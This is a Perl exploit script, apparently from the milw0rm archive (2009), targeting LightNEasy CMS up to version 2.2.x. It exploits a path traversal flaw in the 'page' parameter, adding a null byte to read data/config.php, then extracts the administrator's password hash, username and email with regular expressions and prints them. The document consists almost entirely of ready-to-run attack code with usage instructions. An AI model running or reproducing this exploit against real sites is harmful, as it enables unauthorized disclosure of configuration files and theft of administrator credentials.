#!/usr/bin/perl
#
# LightNEasy sql/no-db <= 2.2.x system config disclosure exploit
#
# by staker
# ------------------------------
# mail: staker[at]hotmail[dot]it
# url: http://www.lightneasy.org
# ------------------------------
#
# it works with magic_quotes_gpc=off
#
# short explanation:
#
# -----------------------------------------------------
# LightNEasy contains one flaw that allows an attacker
# to disclose a local file because of file_get_contents
# it's possible to retrieve the configuration file
# passing as argument '../data/config.php'. Example:
# http://[host]/LightNEasy.php?page=../data/config.php
# ----------------------------------------------------
# Today is: 09 June 2009
# Location: Italy,Turin.
# http://www.youtube.com/watch?v=uXN0pE2Hdt8
# ----------------------------------------------------
use IO::Socket;
my $domain = $ARGV[0] || &usage;
launch_cmd("../data/config.php"); # if you wanna disclose another file,change it
sub launch_cmd()
{
my ($data,$result,$html);
my $page = $_[0] || die $!;
my $path = socket_url($domain,'path');
my $host = socket_url($domain,'host');
my $TCP = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) || die $!;
$data .= "GET /$path/LightNEasy.php?page=$page%00 HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Lynx (textmode)\r\n";
$data .= "Connection: close\r\n\r\n";
$TCP->send($data);
while (<$TCP>) {
$html .= $_;
}
if ($html =~ /password']="([0-9a-f]{40})"/i) {
$result .= "Password: $1\n";
}
if ($html =~ /fromname']="(.+?)"/i) {
$result .= "Username: $1\n";
}
if ($html =~ /toemail']="(.+?)"/i) {
$result .= "E-Mail: $1\n";
}
print $result;
}
sub socket_url()
{
my ($url,$ext) = @_;
$url =~ s/http:\/\/// if $url =~ /^http:\/\/(.+?)+$/i;
@GLOBALS = split /\//,$url;
if ($ext eq 'host') {
return $GLOBALS[0];
}
elsif ($ext eq 'path') {
return $GLOBALS[1];
}
else {
return join('/',@GLOBALS);
}
}
sub parse_url
{
my $string = shift @_ || die($!);
if ($string !~ /^http:\/\/?/i) {
$string = 'http://'.$string;
}
return $string;
}
sub usage()
{
print "[*------------------------------------------------------------*]\n".
"[* LightNEasy sql/no-db < 2.2.x sys config disclosure exploit *]\n".
"[*------------------------------------------------------------*]\n".
"[* Usage: perl light.pl [domain] *]\n".
"[* [domain] domain -> http://localhost/lightneasy *]\n".
"[*------------------------------------------------------------*]\n";
exit;
}
# milw0rm.com [2009-06-10]